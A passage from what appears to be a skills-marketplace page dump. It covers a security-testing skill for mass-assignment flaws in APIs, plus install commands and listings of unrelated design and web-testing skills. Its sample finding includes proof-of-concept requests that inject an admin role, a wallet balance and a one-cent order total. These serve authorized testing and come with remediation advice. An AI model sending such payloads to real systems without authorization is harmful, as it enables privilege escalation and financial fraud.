email verification,\nmodify wallet balances, and manipulate order pricing.\n\n**Proof of Concept**:\n1. Register with injected role:\n   POST \u002Fapi\u002Fv1\u002Fregister\n   {\"name\":\"Attacker\",\"email\":\"attacker@evil.com\",\"password\":\"P@ss123!\",\"role\":\"admin\"}\n   Response: {\"id\":5001,\"name\":\"Attacker\",\"role\":\"admin\",\"is_verified\":false}\n\n2. Update profile with injected balance:\n   PUT \u002Fapi\u002Fv1\u002Fusers\u002Fme\n   {\"name\":\"Attacker\",\"balance\":99999.99}\n   Response: {\"id\":5001,\"balance\":99999.99}\n\n3. Create order with manipulated price:\n   POST \u002Fapi\u002Fv1\u002Forders\n   {\"items\":[{\"product_id\":42,\"qty\":1}],\"total\":0.01}\n   Response: {\"order_id\":8001,\"total\":0.01}\n\n**Impact**:\nAny user can gain administrative access, manipulate financial data,\nbypass security controls, and purchase products at arbitrary prices.\n\n**Remediation**:\n1. Implement DTOs\u002Finput schemas that explicitly define allowed fields per endpoint per role\n2. Use framework-specific mass assignment protection (Rails: strong parameters, Django: serializer fields)\n3. Never bind request parameters directly to the data model\n4. Add integration tests that verify undocumented fields are rejected\n5. Use an allowlist approach rather than blocklist for writable fields\n```\n",{"name":5,"tags":25,"author":31,"domain":32,"license":15,"version":33,"nist_csf":34,"subdomain":26,"description":39,"mitre_attack":40},[26,27,28,29,30],"api-security","owasp","mass-assignment","auto-binding","parameter-tampering","mahipal","cybersecurity","1.0.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints.\n",[41,42,43,44,45],"T1190","T1059.007","T1552.001","T0816","T0836","main","8a3b3de73262a4c4db64523949360f3c599c2fb1","Anthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability",0,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use","https:\u002F\u002Fgithub.com\u002FSaiVatsal","https:\u002F\u002Fsaivatsal.github.io\u002FPortfolio\u002F","The Longer It Takes The Stronger It Becomes ","2026-09-21 22:45:58",{"source":8,"skillName":5,"commands":56,"prompt":66,"zipAvailable":67},[57,60,63],{"tool":58,"command":59},"npx","npx skills add SaiVatsal\u002FSkills-I-Use --skill testing-api-for-mass-assignment-vulnerability",{"tool":61,"command":62},"bunx","bunx skills add SaiVatsal\u002FSkills-I-Use --skill testing-api-for-mass-assignment-vulnerability",{"tool":64,"command":65},"pnpm","pnpm dlx skills add SaiVatsal\u002FSkills-I-Use --skill testing-api-for-mass-assignment-vulnerability","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002FSKILL.md",true,[69,73,79],{"path":70,"resourceType":70,"resourceTypeDesc":71,"sizeBytes":72,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",1854,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",8168,"https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002FAnthropic-Cybersecurity-Skills-main\u002Fskills\u002Ftesting-api-for-mass-assignment-vulnerability\u002Fscripts\u002Fagent.py",[86,94,102,111,118,125],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":90,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":20},"01M7DJZP6E6KMBQV4CZSDPZEZ8","webapp-testing","Toolkit for interacting with and testing local web applications using Playwright. Supports verifying frontend functionality, debugging UI behavior, capturing browser screenshots, and viewing browser logs.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fwebapp-testing\u002FSKILL.md",[],[],{"skillNo":95,"name":96,"nameZh":6,"description":97,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":98,"sourceHtmlUrl":99,"categories":100,"keywords":101,"publishedAt":20},"01M7DJZFTS5TS06K2TV3MDTE67","web-artifacts-builder","Suite of tools for creating elaborate, multi-component claude.ai HTML artifacts using modern frontend web technologies (React, Tailwind CSS, shadcn\u002Fui). Use for complex artifacts requiring state management, routing, or shadcn\u002Fui components - not for simple single-file HTML\u002FJSX artifacts.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fweb-artifacts-builder\u002FSKILL.md",[],[],{"skillNo":103,"name":104,"nameZh":6,"description":105,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":107,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":20},"01M7DJRK4SRQ908F2TJM6EZ7EV","ui-styling","Create beautiful, accessible user interfaces with shadcn\u002Fui components (built on Radix UI + Tailwind), Tailwind CSS utility-first styling, and canvas-based visual designs. Use when building user interfaces, implementing design systems, creating responsive layouts, adding accessible components (dialogs, dropdowns, forms, tables), customizing themes and colors, implementing dark mode, generating visual designs and posters, or establishing consistent styling patterns across applications.","MIT","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FLICENSE.txt","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fui-styling\u002FSKILL.md",[],[],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":117,"publishedAt":20},"01M7DJR902059VEQP23PVM2WA0","design","Comprehensive design skill: brand identity, design tokens, UI styling, logo generation (55 styles, Gemini AI), corporate identity program (50 deliverables, CIP mockups), HTML presentations (Chart.js), banner design (22 styles, social\u002Fads\u002Fweb\u002Fprint), icon design (15 styles, SVG, Gemini 3.1 Pro), social photos (HTML→screenshot, multi-platform). Actions: design logo, create CIP, generate mockups, build slides, design banner, generate icon, create social photos, social media images, brand identity, design system. Platforms: Facebook, Twitter, LinkedIn, YouTube, Instagram, Pinterest, TikTok, Threads, Google Ads.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign\u002FSKILL.md",[],[],{"skillNo":119,"name":120,"nameZh":6,"description":121,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":122,"categories":123,"keywords":124,"publishedAt":20},"01M7DJR56QF5N6XYTCPCFHFMNP","design-system","Token architecture, component specifications, and slide generation. Three-layer tokens (primitive→semantic→component), CSS variables, spacing\u002Ftypography scales, component specs, strategic slide creation. Use for design tokens, systematic design, brand-compliant presentations.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fdesign-system\u002FSKILL.md",[],[],{"skillNo":126,"name":127,"nameZh":6,"description":128,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":106,"licenseFileUrl":6,"sourceHtmlUrl":129,"categories":130,"keywords":131,"publishedAt":20},"01M7DJQXB6M0SFF7NX8J5N01AH","banner-design","Design banners for social media, ads, website heroes, creative assets, and print. Multiple art direction options with AI-generated visuals. Actions: design, create, generate banner. Platforms: Facebook, Twitter\u002FX, LinkedIn, YouTube, Instagram, Google Display, website hero, print. Styles: minimalist, gradient, bold typography, photo-based, illustrated, geometric, retro, glassmorphism, 3D, neon, duotone, editorial, collage. Uses ui-ux-pro-max, frontend-design, ai-artist, ai-multimodal skills.","https:\u002F\u002Fgithub.com\u002FSaiVatsal\u002FSkills-I-Use\u002Fblob\u002Fmain\u002Fui-ux-pro-max-skill-main\u002Fcli\u002Fassets\u002Fskills\u002Fbanner-design\u002FSKILL.md",[],[]]